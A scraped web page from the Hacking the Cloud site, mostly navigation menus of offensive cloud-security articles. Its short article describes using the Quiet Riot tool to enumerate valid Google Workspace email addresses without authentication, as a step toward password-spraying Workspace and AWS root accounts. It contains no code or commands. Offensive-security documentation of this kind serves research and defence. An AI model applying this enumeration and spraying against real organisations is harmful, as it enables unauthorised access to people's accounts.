<span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2 checked> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=true> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd (@righteousgambit)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/enumeration/enum_email_addresses.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unauthenticated-enumeration-of-valid-google-workspace-email-addresses>Unauthenticated Enumeration of Valid Google Workspace Email Addresses<a class=headerlink href=#unauthenticated-enumeration-of-valid-google-workspace-email-addresses title="Permanent link">&para;</a></h1> <p>You can enumerate valid email addresses associated with the Google Workspace service using <a href=https://github.com/righteousgambit/quiet-riot>Quiet Riot</a>. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 12, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 11, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 